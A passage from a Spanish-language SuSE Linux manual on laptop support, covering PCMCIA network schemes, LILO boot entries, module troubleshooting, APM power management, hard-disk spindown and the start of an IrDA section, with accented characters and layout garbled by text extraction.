  20214.        ||||||||                                                                                                                |
  20215.        ||||||||       IPADDR="10.0.1.23"                                                                                       |
  20216.        ||||||||       NETMASK="255.255.255.0"                                                                                  |
  20217.        ||||||||       NETWORK="10.0.1.0"                                                                                       |
  20218.        ||||||||       BROADCAST="10.0.1.255"                                                                                   |
  20219.        ||||||||                                                                                                                |
  20220.        ||||||||       GATEWAY="10.0.1.1"                                                                                       |
  20221.        ||||||||       DOMAIN="home.de"                                                                                         |
  20222.        ||||||||       SEARCH="home.de  work.de"                                                                                |
  20223.        ||||||||       DNS_1="10.0.1.1"                                                                                         |
  20224.        ||||||||                                                                                                                |
  20225.        ||||||||       MOUNTS=""                                                                                                |
  20226.        ||||||||       start_fn  ()  {  return;  }                                                                              |
  20227.        ||||||||       stop_fn  ()  {  return;  }                                                                               |
  20228.        ||||||||                                                                                                                |
  20229.        ||||||||       ;;                                                                                                       |
  20230.        |||||||| *,*,*,*)                                                                                                       |
  20231.        ||||||||       INFO="Sample  private  network  setup"                                                                   |
  20232.        |||||||| #  [...  cortado  ...]                                                                                         |
  20233.        ||||||||                                                                                                                |
  20234.        ||||||||       ;;                                                                                                       |
  20235.        |||||||| esac                                                                                                           |
  20236.        ||||||||_______________________________________________________________________________________________________________ |
  20237.  
  20238.                            Fichero 11.1.1: /etc/pcmcia/network.opts
  20239.  
  20240.  
  20241. Como ejemplo para la configuraci≤n de un esquema nos sirve aquφ una tarjeta
  20242. Ethernet.  Se generan dos esquemas denominados work     y home    .  Para ello se
  20243. necesitan varios bloques de configuraci≤n dentro del fichero /etc/pcmcia/
  20244. network.opts (ver fichero 11.1.1). Estos reciben las siguientes direcciones:
  20245.  
  20246.  
  20247.   o   SuSE,*,*,*         : Conserve este bloque para mantener la posibilidad de con-
  20248.       figurar de forma fßcil con YaST .
  20249.  
  20250.  
  20251.                                                                                                                                    *
  20252.  *   313
  20253. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  20254.  *_______________________________________@
  20255.  
  20256.  
  20257.  
  20258.                              o   work,*,*,*         :  Este bloque configura la red para el uso en el trabajo.  De
  20259.                                  forma anßloga,
  20260.                              o   home,*,*,*         : contiene los datos para conectarse en casa.
  20261.  
  20262.                              o   *,*,*,*      : Este bloque tambiΘn aparece por defecto y sirve para configurar
  20263.                                  todos los esquemas que no han aparecido anteriormente.
  20264.  
  20265.                            El camino mßs fßcil para configurar un bloque es el de introducir los datos
  20266.                            deseados mediante YaST , copiar el bloque SuSE     generado por SuSEconfig
  20267.                            y renombrarlo como work     o home    .  Para configurar todo manualmente hace
  20268.                            falta  conocer  el  significado  de  tΘrminos  como  NETMASK      ,  BROADCAST        ,  etc.
  20269.                            Esta  informaci≤n  se  encuentra  en  la  tabla  5.1  en  la  pßgina  156Requisitos,
  20270.                            Preparativostable.5.1; los valores especφficos se detallan en el PCMCIA-HOWTO
  20271.                            (en /usr/doc/packages/pcmcia se encuentra la ·ltima versi≤n).
  20272.                            |                                                                                                       *
  20273.  *         |
  20274.                            ________________________________________________________________________________________________________*
  20275.  *________||
  20276.                            | image      =  /boot/vmlinuz                                                                           *
  20277.  *         |
  20278.                            |    root     =  /dev/hda7                                                                              *
  20279.  *         |
  20280.                            |                                                                                                       *
  20281.  *         |
  20282.                            |    label   =  work                                                                                    *
  20283.  *         |
  20284.                            |    alias   =  w                                                                                       *
  20285.  *         |
  20286.                            |    append  =  xzx  SCHEME=work  xzx                                                                   *
  20287.  *         |
  20288.                            | #                                                                                                     *
  20289.  *         |
  20290.                            |                                                                                                       *
  20291.  *         |
  20292.                            | image      =  /boot/vmlinuz                                                                           *
  20293.  *         |
  20294.                            |    root     =  /dev/hda7                                                                              *
  20295.  *         |
  20296.                            |    label   =  home                                                                                    *
  20297.  *         |
  20298.                            |    alias   =  h                                                                                       *
  20299.  *         |
  20300.                            |                                                                                                       *
  20301.  *         |
  20302.                            |    append  =  xzx  SCHEME=home  xzx                                                                   *
  20303.  *         |
  20304.                            | #                                                                                                     *
  20305.  *         |
  20306.                            | image      =  /boot/vmlinuz                                                                           *
  20307.  *         |
  20308.                            |    root     =  /dev/hda7                                                                              *
  20309.  *         |
  20310.                            |                                                                                                       *
  20311.  *         |
  20312.                            |    label   =  suseconf                                                                                *
  20313.  *         |
  20314.                            |    alias   =  s                                                                                       *
  20315.  *         |
  20316.                            |    append  =  xzx  SCHEME=SuSE  xzx                                                                   *
  20317.  *         |
  20318.                            |_______________________________________________________________________________________________________*
  20319.  *________ |
  20320.  
  20321.                                               Fichero 11.1.2: PCMCIA: Extracto de lilo.conf
  20322.  
  20323.  
  20324.                            Se  puede  cambiar  de  un  esquema  al  otro  en  el  momento  de  arrancar  o
  20325.                            igualmente  en  tiempo  de  ejecuci≤n.    Para  conocer  el  esquema  activo  en
  20326.                            un  determinado  momento  se  puede  usar  el  comando  cardctl  scheme            .
  20327.                            Este  mismo  comando  se  usa  para  cambiar  el  esquema  en  tiempo  de  eje-
  20328.                            cuci≤n;   en  concreto  con:   cardctl  scheme  <Nombre_del_esquema>                                .
  20329.                            La  selecci≤n  del  esquema  no  se  pierde  reiniciando  la  computadora,  salvo
  20330.                            que se haya seleccionado explφcitamente otro esquema durante el arranque.
  20331.                            Para  realizar  esto  se  puede  usar  en  el  ''prompt''  de  arranque  (LILO:     )  la
  20332.                            variable SCHEME=<Nombre_del_esquema>                           ; el apartado 14.3.2 en la pßgi-
  20333.                            na 360Parßmetros del kernel en el Boot-Promptsubsection.14.3.2 le informa
  20334.                            sobre el ''prompt'' de arranque.
  20335.  
  20336.                            Para  definir  uno  o  varios  esquemas  de  arranque  fijos  se  puede  configurar
  20337.                            LILO  al  respecto,  usando  el  parßmetro  append      en  el  fichero  /etc/lilo.
  20338.                            conf.  Siguiendo el ejemplo expuesto se generan tres configuraciones de ar-
  20339.                            ranque,  asφ como se muestra en el fichero 11.1.2.  DespuΘs de haber modi-
  20340.                            ficado /etc/lilo.conf hay que ejecutar el comando lilo    .  Seg·n la con-
  20341.                            figuraci≤n de ejemplo dada en el fichero 11.1.2 ahora se puede iniciar cada
  20342.                            esquema fßcilmente seleccionando w , h  o s  en el momento de arrancar.
  20343.  
  20344.  
  20345.  
  20346. 314
  20347.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20348.  *______________________
  20349.  
  20350.  
  20351.  
  20352. Soporte APM
  20353. El paquete PCMCIA de SuSE     Linux se compila sin soporte de APM, ya que
  20354.  
  20355. para usar APM tambiΘn el kernel debe estar preparado y los kernel con so-
  20356. porte APM no funcionan de forma fiable en todas las computadoras. Es posi-
  20357. ble  usar  el  daemon  apmd  (ver  apartado  11.2.3  en  la  pßgina  319El  daemon
  20358. APMsubsection.11.2.3) para ''simular'' el soporte APM o recompilar el pa-
  20359. quete PCMCIA con soporte de APM; esto no es tan complicado como suena.
  20360. Lo importante es que durante la compilaci≤n ya se ejecute el kernel correcto,
  20361. ya que se obtiene cierta informaci≤n de Θl.  El paquete PCMCIA debe estar
  20362. instalado pero a·n no se debe haber iniciado; en caso de duda se usa el co-
  20363. mando rcpcmcia  stop           . DespuΘs de esto se instala con YaST el paquete con
  20364. las fuentes de PCMCIA, indicando despuΘs:
  20365.  
  20366.       tierra:  #  rpm  -ba  /usr/src/packages/SPECS/pcmcia.spec
  20367.  
  20368. íYa estß! Ahora incluso se encuentra un nuevo paquete binario en el directo-
  20369. rio /usr/src/packages/RPMS.  Este se puede usar para instalarlo en otras
  20370. computadoras cuando se usa el mismo kernel.
  20371.  
  20372.  
  20373. 11.1.5       En caso de problemas. . .
  20374.  
  20375. Usar PCMCIA resulta problemßtico con algunos portßtiles pero afortunada-
  20376. mente la mayorφa de los problemas se resuelven fßcilmente trabajando de for-
  20377. ma sistemßtica. Lo primero es averiguar la causa del problema, que puede ser
  20378. la tarjeta o el sistema base PCMCIA. Por eso hay que iniciar la computadora
  20379. sin ninguna tarjeta insertada.  Todos los mensajes de interΘs se protocolizan
  20380. en el fichero /var/log/messages; lo mejor es observar este fichero durante
  20381. las pruebas con:
  20382.  
  20383.       tierra:  #  tail  -f  /var/log/messages
  20384.  
  20385. lo que permite determinar uno de los siguientes casos como causa del error.
  20386.  
  20387.  
  20388. El sistema base PCMCIA no funciona
  20389.  
  20390. Si  el  sistema  llega  a  pararse  durante  el  arranque  con  el  mensaje  "PCM-
  20391. CIA:  Starting  services:÷   si hay otras incidencias ''extra±as'', es posi-
  20392. ble  deshabilitar  el  servicio  PCMCIA  para  el  pr≤ximo  arranque,  indicando
  20393. NOPCMCIA=yes            en el ''prompt'' (LILO:     ). Para conocer mejor la causa del er-
  20394. ror, los tres m≤dulos bßsicos se cargan secuencialmente. Pare ello se usan los
  20395. comandos modprobe  pcmcia_core                  , modprobe  i82365              o ~ en pocas oca-
  20396. siones ~ modprobe  tcic            y modprobe  ds         . Los m≤dulos crφticos son los dos
  20397. primeros.
  20398.  
  20399. La  pßgina  del  manual  de  pcmcia_core           (man  pcmcia_core             )  presta  ayuda
  20400. cuando  el  error  aparece  en  el  momento  de  cargar  pcmcia_core.   Las  op-
  20401. ciones que se mencionan en la pßgina de manual se pueden usar en conjunto
  20402. con  el  comando  modprobe       .   Como  ejemplo  nos  sirve  un  problema  ocurri-
  20403. do anteriormente por la activaci≤n del soporte PNP (''Plug-and-Play'') de los
  20404. m≤dulos PCMCIA. El soporte PnP ocasionaba la parada del sistema cargan-
  20405. do pcmcia_core.  Para remediarlo era necesario desactivar el soporte PnP
  20406. mediante la opci≤n do_pnp=0       . En el caso de efectuar pruebas, una opci≤n se
  20407. a±ade al comando modprobe        de la siguiente forma:
  20408.  
  20409.  
  20410.                                                                                                                                    *
  20411.  *   315
  20412. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  20413.  *_______________________________________@
  20414.  
  20415.  
  20416.  
  20417.                                  tierra:  #  modprobe  pcmcia_core  do_pnp=0
  20418.                            Una  vez  que  la  opci≤n  probada  tenga  Θxito,  Θsta  se  guarda  en  el  fichero
  20419.  
  20420.                            /etc/rc.config mediante la variable PCMCIA_CORE_OPTS               :
  20421.  
  20422.                            PCMCIA_CORE_OPTS="do_pnp=0"
  20423.  
  20424.                            Esta  variable  contiene  ahora  por  defecto  el  valor  do_pnp=0       ,  asφ  que  hace
  20425.                            falta poner el valor 1  para conseguir el soporte PCMCIA. Varias opciones se
  20426.                            separan en la misma lφnea mediante un espacio:
  20427.  
  20428.                            PCMCIA_CORE_OPTS="do_pnp=0  probe_io=0"
  20429.  
  20430.                            Para  resolver  problemas  cargando  i82365  se  puede  recurrir  a  la  pßgina  del
  20431.                            manual de i82365       (man  i82365        ).  Un problema tφpico a la hora de cargar
  20432.                            este m≤dulo es un conflicto de recursos, o sea una interrupci≤n, un puerto de
  20433.                            E/S (I/O-Port) o un rango de memoria se ocupan dos veces.  En realidad el
  20434.                            m≤dulo i82365  comprueba los recursos antes de asignarlos a la tarjeta pero
  20435.                            justamente esta comprobaci≤n es la que produce a veces un error.  For exam-
  20436.                            plehay computadoras que bloquean el teclado y/o el mouse en el momento
  20437.                            de comprobar la interrupci≤n 12 (dispositivos PS/2).  En tal caso sirve como
  20438.                            remedio el parßmetro irq_list=<Lista_de_IRQs>                      . La lista debe contener
  20439.                            todos los IRQs que se permite usar, p. ej. :
  20440.  
  20441.                                  tierra:  #  modprobe  i82365  irq_list=5,7,9,10
  20442.  
  20443.                            o, para fijarlo en /etc/rc.config:
  20444.  
  20445.                            PCMCIA_PCIC_OPTS="irq_list=5,7,9,10"
  20446.  
  20447.                            Ademßs el Cardmanager eval·a los ficheros /etc/pcmcia/config y /etc/
  20448.                            pcmcia/config.opts.   Los  parßmetros  definidos  en  estos  no  tienen  rele-
  20449.                            vancia antes de la carga de los drivers para las tarjetas PCMCIA. En /etc/
  20450.                            pcmcia/config.opts tambiΘn se puede indicar las IRQs,    puertos E/S y ran-
  20451.                            gos de memoria excluidos. A diferencia de la opci≤n irq_list       , los recursos
  20452.                            excluidos en config.opts no se usan para una tarjeta PCMCIA pero sφ que
  20453.                            se comprueban mediante el m≤dulo base i82365.
  20454.  
  20455.  
  20456.                            La tarjeta PCMCIA no funciona (bien)
  20457.  
  20458.                            Hay tres explicaciones para una tarjeta PCMCIA que no funciona bien:  No
  20459.                            se reconoce la tarjeta, la tarjeta usa recursos indebidos o es poco fiable.
  20460.  
  20461.                            Si la tarjeta no se reconoce, el mensaje "unsupported  Card  in  Slot  x"
  20462.                            aparece  en  /var/log/messages.  El  mensaje  solo  indica  que  el  gestor  de
  20463.                            tarjetas (Cardmanager ) no es capaz de asignar un driver a la tarjeta, ya que
  20464.                            se necesita una especie de ''banco de datos de drivers'' (en /etc/pcmcia/
  20465.                            config) para esta asignaci≤n.  Para ampliar este ''banco de datos de drivers''
  20466.                            se pueden usar entradas existentes como plantilla para nuevas.  Para identi-
  20467.                            ficar la tarjeta se puede usar cardctl  ident           .  Para mßs informaci≤n sobre
  20468.                            el  tema  consulte  el  apartado  6  del  PCMCIA-HOWTO  (''Dealing  with  un-
  20469.                            supported cards'' ~ Tratar tarjetas no soportadas) y la pßgina del manual de
  20470.                            pcmcia       (man  pcmcia        ).  DespuΘs  de  modificar  /etc/pcmcia/config  hay
  20471.                            que cargarlo de nuevo mediante rcpcmcia  reload             .
  20472.  
  20473.                            La  mayorφa  de  las  tarjetas  PCMCIA  trabajan  correctamente  con  cualquier
  20474.                            IRQ  o  puerto  de  E/S.  Por  eso  muchas  veces  el  problema  radica  en  el  uso
  20475.  
  20476.  
  20477. 316
  20478.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20479.  *______________________
  20480.  
  20481.  
  20482.  
  20483. posterior de un recurso por parte de otro dispositivo (CDROM en la 2a  con-
  20484. troladora  IDE:  IRQ  15;  puerto  serie  o  IrDA:  IRQ  3,  IRQ  4;  sonido,  im-
  20485. presora  IRQ  5,  IRQ  7).   Para  estos  casos  es  preciso  excluir  tales  recursos
  20486. en /etc/pcmcia/config.opts.  Si una determinada tarjeta necesitara una
  20487. configuraci≤n especφfica, es posible usar config.opts para pasar opciones
  20488. al  m≤dulo  en  cuesti≤n.  For  examplepara  usar  el  m≤dulo  pcnet_cs  con  la
  20489. IRQ 5, se usa la siguiente entrada:
  20490.  
  20491. module  "pcnet_cs"  opts  "irq_list=5"
  20492.  
  20493. Las  diferentes  opciones  se  explican  en  las  pßginas  de  manual  que  existen
  20494. para la mayorφa de los m≤dulos3 .  Cuando no hay ninguna pßgina de man-
  20495. ual  se  puede  recurrir  a  las  opciones  de  la  pßgina  del  manual  de  i82365
  20496. (man  i82365        ) o intentar entender el c≤digo fuente del m≤dulo en cuesti≤n. . .
  20497.  
  20498. Un problema especφfico de las tarjetas de red 10/100 Mbit es una selecci≤n
  20499. automßtica  equivocada  del  modo  de  transferencia.   El  problema  se  puede
  20500. remediar con el comando ifport     , que permite averiguar y modificar el modo
  20501. de  transferencia;  ver  la  pßgina  del  manual  de  ifport      (man  ifport        ).   La
  20502. configuraci≤n  adecuada  se  puede  indicar  mediante  la  variable  IFPORT       en
  20503. /etc/pcmcia/network.opts.
  20504.  
  20505.  
  20506. 11.1.6       Instalaci≤n vφa PCMCIA
  20507.  
  20508. En  ciertas  ocasiones  ya  se  necesita  el  soporte  PCMCIA  para  la  instalaci≤n
  20509. de  SuSE      Linux.   Para  ello  hay  que  seleccionar  en  `M≤dulos  del  Ker-
  20510. nel  (Drivers)' la opci≤n `Cargar  driver  PCMCIA'. Primero aparecen
  20511. dos  cuadros  de  dißlogo  que  permiten  introducir  opciones  para  los  m≤dulos
  20512. pcmcia_core y i82365.  Normalmente estos campos se quedan vacφos.  Las
  20513. pßginas de manual para pcmcia_core y i82365 se encuentran en el primer
  20514. CD dentro del directorio docu.  Durante la instalaci≤n aparecen mensajes de
  20515. sistema en las distintas consolas virtuales,  que se pueden acceder mediante
  20516.  Alt   |||||||||__+ |F________|<x>. 4
  20517.  
  20518. DespuΘs  del  primer  paso  de  la  instalaci≤n,  el  sistema  se  reinicia  total-  o
  20519. parcialmente.   Raras  veces  el  sistema  se  para  al  iniciar  PCMCIA,  pero  en
  20520. este punto la instalaci≤n ya estß tan avanzada que se puede iniciar Linux sin
  20521. PCMCIA  y  en  modo  texto  usando  la  opci≤n  de  arranque  NOPCMCIA=yes           .
  20522. Para solventar este problema consulte el apartado 11.1.5 en la pßgina 315En
  20523. caso de problemas. . . subsection.11.1.5.
  20524.  
  20525.  
  20526. 11.1.7       Utilidades adicionales
  20527.  
  20528. El programa cardctl  ya ha sido mencionado varias veces.  Es la herramienta
  20529. principal para conseguir informaci≤n sobre PCMCIA o para ejecutar deter-
  20530. minadas acciones. Detalles sobre el programa se encuentran en la pßgina del
  20531. manual de cardctl       (man  cardctl         ). TambiΘn es posible introducir cardctl
  20532. sin ning·n parßmetro para que aparezca una lφnea con los comandos vßlidos.
  20533. 3      ____________________________________________________
  20534.   A prop≤sito: rpm  -ql  pcmcia  |  grep  man         genera una lista con todas las pßginas de manual
  20535. del paquete pcmcia.
  20536. 4 Trabajando con YaST2 hay que usar |_______|Ctrl+ |_____A|lt+ |________F|<x>, ya que YaST2 se ejecuta bajo
  20537. el sistema X Window.
  20538.  
  20539.  
  20540.                                                                                                                                    *
  20541.  *   317
  20542. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  20543.  *_______________________________________@
  20544.  
  20545.  
  20546.                                                           Figura 11.1: PCMCIA ~ Cardinfo
  20547.  
  20548.  
  20549.  
  20550.                            Para  este  programa  existe  una  superficie  grßfica  (sobre  cardinfo        vΘase  la
  20551.                            figura 11.1), que permite controlar los aspectos mßs importantes.  Desafortu-
  20552.                            nadamente no es posible usarlo para cambiar de un esquema a otro.
  20553.  
  20554.                            Dentro del entorno KDE existe tambiΘn kardinfo .  Esta herramienta es bßsi-
  20555.                            camente igual a cardinfo       .
  20556.  
  20557.                            Otras   utilidades   del   paquete   pcmcia   son   ifport     ,   ifuser     ,   probe       y
  20558.                            rcpcmcia       ,  pero  estos  no  se  usan  con  frecuencia.    Para  conocer  exacta-
  20559.                            mente el contenido completo del paquete pcmcia, se puede usar el comando
  20560.                            rpm  -ql  pcmcia           .
  20561.  
  20562.  
  20563.  
  20564.                            11.2        APM ~ Gesti≤n de potencia
  20565.  
  20566.  
  20567.                            11.2.1       Fundamentos
  20568.  
  20569.                            La gesti≤n de potencia (ingl. Powermanagement) requiere hardware adecua-
  20570.                            do  y  rutinas  de  la  BIOS  adecuadas.   La  mayorφa  de  los  portßtiles  y  de  las
  20571.                            mßquinas de sobremesa modernas cumplen los requerimientos. Las funciones
  20572.                            de ahorro de energφa realmente importan para los portßtiles cuando no estßn
  20573.                            conectados a la fuente de alimentaci≤n. A continuaci≤n se discuten estas fun-
  20574.                            ciones:
  20575.  
  20576.                            Standby        ~ Este modo de operaci≤n apaga el panel/monitor y algunas com-
  20577.                                  putadoras reducen la potencia del procesador.
  20578.  
  20579.                            Suspend (to memory)                ~ Para este modo toda la informaci≤n sobre el estado
  20580.                                  del  sistema  se  guarda  en  la  memoria  y  ~  aparte  de  Θsta  ~  todo  el  resto
  20581.                                  del sistema se para.  Es un estado en el cual la computadora gasta muy
  20582.                                  poca energφa, asφ que se puede pasar desde 12 horas hasta varios dφas con
  20583.                                  la baterφa.  La gran ventaja es la de volver dentro de pocos segundos al
  20584.                                  estado anterior de trabajo, sin necesidad de arrancar y cargar de nuevo los
  20585.                                  programas usados. ~ El atractivo especial de realizar esto con Linux es el
  20586.                                  no tener que parar la computadora nunca;  hay otros sistemas operativos
  20587.                                  que se vuelven inestable despuΘs de cierto tiempo. Para la mayorφa de los
  20588.  
  20589.  
  20590. 318
  20591.        ________________________________________________________________________________11.2.__APM_~_Gesti≤n_de_potencia____________*
  20592.  *______________________
  20593.  
  20594.  
  20595.  
  20596.       portßtiles modernos es suficiente cerrar la tapa para suspender y abrirla
  20597.       despuΘs para seguir trabajando.
  20598. Hibernate (Suspend to disk)                   ~ En este modo la computadora aguanta todo
  20599.       el invierno5 , ya que todo el contenido de la memoria se ''vuelca'' al disco
  20600.       duro y el sistema se para despuΘs.  La computadora se tarda unos 30 a 60
  20601.       segundos y tambiΘn se restablece completamente el estado anterior.  Al-
  20602.       gunos fabricantes ofrecen ciertos modos hφbridos.
  20603.  
  20604. Control de la baterφa              ~ Muy interesante.
  20605.  
  20606. Apagado automßtico                 ~ Una caracterφstica tambiΘn interesante para las com-
  20607.       putadoras de sobremesa.  DespuΘs de un ''Shutdown'' la computadora se
  20608.       para completamente sin necesidad de apretar el bot≤n de apagado.
  20609.  
  20610. Parar el disco duro             ~ Puede ahorrar bastante energφa y tambiΘn nervios, si el
  20611.       disco es ruidoso. Es una funci≤n que depende de varios factores externos;
  20612.       si hay p. ej.  un editor que hace regularmente respaldos, Θste a su vez hace
  20613.       arrancar regularmente el disco duro.
  20614.  
  20615.  
  20616. La BIOS misma realiza algunas de estas funciones directamente. En muchos
  20617. portßtiles no hace falta nada mßs que usar una combinaci≤n de teclas o cerrar
  20618. la tapa para activar Standby o Suspend. Estos modos de operaci≤n se realizan
  20619. sin intervenci≤n del sistema operativo.  Para iniciarlos mediante un comando
  20620. o si hace falta ejecutar ciertas acciones antes de suspender, hay que instalar
  20621. determinados paquetes y un kernel adecuado.
  20622.  
  20623.  
  20624. 11.2.2       El kernel correcto
  20625.  
  20626. Para  realizar  funciones  adicionales  de  APM  se  necesita  un  kernel  con  so-
  20627. porte  de  APM.  Uno  de  los  kernel  estßndar  de  SuSE     que  se  puede  instalar
  20628. con  YaST  lo  incorpora  y  se  puede  comprobar  fßcilmente  con  el  comando
  20629. cat  /proc/apm           .  Si aparece una lφnea con diversos n·meros, todo estß bien
  20630. y la instrucci≤n shutdown  -h          debe parar y apagar la computadora. Algunas
  20631. BIOS no cumplen el estßndar APM al cien por cien, por lo que puede apare-
  20632. cer un comportamiento ''extra±o''.  Algunos de estos problemas se remedian
  20633. con una configuraci≤n especial del kernel; consulte nuestro banco de datos de
  20634. soporte  http://sdb.suse.de/sdb/de/html/o  la  ''Linux  Laptop  Home-
  20635. page'' en http://www.cs.utexas.edu/users/kharker/linux-laptop.
  20636.  
  20637.  
  20638. 11.2.3       El daemon APM
  20639.  
  20640. El +  Daemon apmd  monitoriza el estado de la baterφa y es capaz de iniciar
  20641. ciertas actividades cuando aparece un ''Standby'' o ''Suspend''.  Se encuentra
  20642. en  el  paquete  apmd,  serie  ap,  pero  no  es  imprescindible  para  trabajar  (sin
  20643. embargo  ·til).   La  variable  START_APMD          en  /etc/rc.config  debe  tener
  20644. el  valor  yes  ,  para  que  se  inicie  de  forma  automßtica  en  el  arranque.   Para
  20645. iniciarlo manualmente se usa rcapmd  start          .
  20646.  
  20647. El daemon se configura mediante algunas variables en /etc/rc.config.d/
  20648. apmd.rc.config.  Este fichero ya contiene comentarios por lo que solo se
  20649. dan algunos consejos a continuaci≤n.
  20650. 5      ____________________________________________________
  20651.   Hibernation == Invernar
  20652.  
  20653.  
  20654.                                                                                                                                    *
  20655.  *   319
  20656. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  20657.  *_______________________________________@
  20658.  
  20659.  
  20660.  
  20661.                              o   En SuSE     Linux, PCMCIA estß compilado sin soporte APM. Para no tener
  20662.                                  que recompilar el paquete PCMCIA, se puede poner la variable
  20663.                                  PCMCIA_SUSPEND_ON_SUSPEND                       en yes   .  No obstante hay algunas tarje-
  20664.                                  tas que siguen sin funcionar despuΘs de suspender el equipo. Para ellos se
  20665.                                  puede usar la opci≤n mßs ''drßstica'' PCMCIA_EJECT_ON_SUSPEND=yes                         .
  20666.                              o   Si la hora es incorrecta despuΘs de suspender, hay que poner SET_CLOCK_ON_RESUME
  20667.                                  en yes   .
  20668.                              o   Si  el  sistema  X  Window  produce  problemas  cuando  el  sistema  ''se  de-
  20669.                                  spierta'' use LEAVE_X_BEFORE_SUSPEND=yes                        .
  20670.  
  20671.                            Ademßs  es  posible  adaptar  el  comportamiento  de  parada  (''Spindown'')  del
  20672.                            disco duro seg·n la fuente de energφa usada (baterφa o red elΘctrica) y parar el
  20673.                            sistema automßticamente cuando la capacidad de la baterφa cae por debajo de
  20674.                            un nivel crφtico.  Para los usuarios avanzados queda la posibilidad de a±adir
  20675.                            funcionalidades al fichero /usr/sbin/apmd_proxy.
  20676.  
  20677.  
  20678.                            11.2.4       Comandos adicionales
  20679.  
  20680.                            El  paquete  apmd  contiene  algunas  utilidades  adicionales.   apm    indica  p. ej.
  20681.                            la  capacidad  actual  de  la  baterφa  y  se  puede  poner  el  sistema  en  ''standby''
  20682.                            (apm  -S     ) o ''suspend'' (apm  -s     ); ver la pßgina del manual de apm   (man  apm      ).
  20683.  
  20684.                            Con  el  comando  apmsleep        se  puede  suspender  el  sistema  para  un  tiempo
  20685.                            determinado; ver pßgina del manual de apmsleep        (man  apmsleep          ).
  20686.  
  20687.                            Para visualizar un fichero log sin necesidad de mantener el disco duro giran-
  20688.                            do, se puede usar tailf      como reemplazo de tail  -f      .
  20689.  
  20690.                            TambiΘn hay herramientas para el sistema X Window como p. ej.   xapm    del
  20691.                            paquete apmd que indica de forma grßfica la carga de la baterφa.  Usando el
  20692.                            entorno  KDE  ~  o  al  menos  kpanel  ~,  se  puede  visualizar  con  kbatmon  el
  20693.                            estado de carga de la baterφa y suspender el sistema.
  20694.  
  20695.  
  20696.                            11.2.5       Parar el disco duro
  20697.  
  20698.                            En Linux es posible parar el disco duro cuando no se necesita.  Esto se real-
  20699.                            iza mediante el programa hdparm , que tiene varias opciones. For example-y
  20700.                            pone  el  disco  duro  inmediatamente  en  modo  ''standby''  mientras  que  -Y   lo
  20701.                            para  completamente.   hdparm  -S  6         hace  que  el  disco  se  pare  despuΘs  de
  20702.                            30 segundos de inactividad. El valor 6 representa 6   5 = 30 segundos, mien-
  20703.                            tras que 0  deshabilita la funci≤n. A valores mßs grandes el factor de multipli-
  20704.                            caci≤n tambiΘn se aumenta; para mßs detalles ver la pßgina de manual.
  20705.  
  20706.                            Para que este comportamiento dependa de la fuente de energφa (baterφa o red
  20707.                            elΘctrica), es necesario tocar la configuraci≤n en /etc/rc.config.d/apmd.
  20708.                            rc.config. En tal caso la variable CHECK_TIME          debe estar en 0 .
  20709.  
  20710.                            Desafortunadamente  se  necesita  el  disco  con  frecuencia  por  lo  que  se  ''de-
  20711.                            spierta'' con igual frecuencia.  Por una parte son los programas (p. ej. editores
  20712.                            de texto) los que salvan los datos regularmente y por otra, herramientas como
  20713.                            tail  -f  <logfile>                 que producen accesos frecuentes al disco (el ·ltimo
  20714.                            se  puede  reemplazar  con  tailf  <logfile>              ).   Incluso  cuando  no  se  usa
  20715.                            ninguno de estos programas, siempre existe un proceso que no deja descansar
  20716.                            al disco duro.  Para entenderlo es necesario saber que bajo Linux los datos
  20717.  
  20718.  
  20719. 320
  20720.        ______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________*
  20721.  *______________________
  20722.  
  20723.  
  20724.  
  20725. nunca se escriben directamente en el disco, sino adentro de un b·fer que pro-
  20726. porciona el kernel.  Asφ las operaciones de escribir se agilizan.  Para evitar la
  20727. perdida de datos existe el ''Update-Daemon'', que se encarga de sincronizar
  20728. peri≤dicamente el disco y los b·feres;  quiere decir que escribe los datos al
  20729. disco.  Desde la versi≤n 2.2.11 del kernel este daemon forma parte de Θl por
  20730. lo que ya no se puede desactivar fßcilmente o reemplazarlo por el ''mobile
  20731. Update-Daemon''.   Sin  embargo  a  travΘs  del  sistema  de  ficheros  /proc  es
  20732. posible ejercer una cierta influencia sobre Θl. El comando
  20733.  
  20734. tierra:  #  cat  /proc/sys/vm/bdflush
  20735.  
  20736. indica los parßmetros actuales y los nuevos se establecen mediante
  20737. tierra:  #  echo  "60  500  64  256  6000  60000  3000  1884  2"  >  /proc/sys/vm/bdflush
  20738.  
  20739.  
  20740. Para efectuar estos cambios le remitimos a /usr/src/linux/Documentation/
  20741. proc.txt para averiguar el significado de la cifras.  A prop≤sito:  Con sync
  20742. se puede forzar la sincronizaci≤n de b·fer y disco.
  20743.  
  20744.  
  20745.  
  20746. 11.3        IrDA ~ Infrared Data Association
  20747.  
  20748. IrDA  (Infrared  Data  Association)  es  un  estßndar  industrial  para  la  comu-
  20749. nicaci≤n  inalßmbrica  por  onda  infrarroja.    Muchos  de  los  portßtiles  que
  20750. se  venden  hoy  en  dφa  incorporan  un  emisor/receptor  que  permite  la  co-
  20751. municaci≤n  con  otros  dispositivos  como  impresora,  modem,  LAN  u  otros
  20752. portßtiles. La tasa de transferencia se sit·a entre 2400 bps y 4 Mbps.
  20753.        _______________________________________________________________________________________________________________________||
  20754.  
  20755.        ||||||||  El  kernel  de  Linux  a·n  no  tiene  soporte  total  del  protocolo  IrDA,  por              |||            |
  20756.        ||||||||  lo  que  esta  funcionalidad  no  estß  incorporada  en  el  kernel  estßndar;  se             ||             |
  20757.        ||||||||                                                                                                 ||             |
  20758.        ||||||||  considera ''experimental'' (en fase beta).  Al no estar totalmente probado,                    ||             |
  20759.        ||||||||  es posible que este driver reciente no presente tanta estabilidad como otros                   ||             |
  20760.        ||||||||                                                                                                 ||             |
  20761.        ||||||||  componentes del kernel.                                                                        ||             |
  20762.        ||||||||_______________________________________________________________________________________________________________||_
  20763.  
  20764.  
  20765. Software
  20766.  
  20767. El paquete irda incorpora el soporte de la interface por infrarrojos y el pro-
  20768. tocolo IrDA. La documentaci≤n al respecto se encuentra despuΘs de la insta-
  20769. laci≤n en /usr/doc/packages/irda/README.
  20770.  
  20771. Si el paquete howto estß instalado, se puede encontrar el IR-HOWTO en /usr/
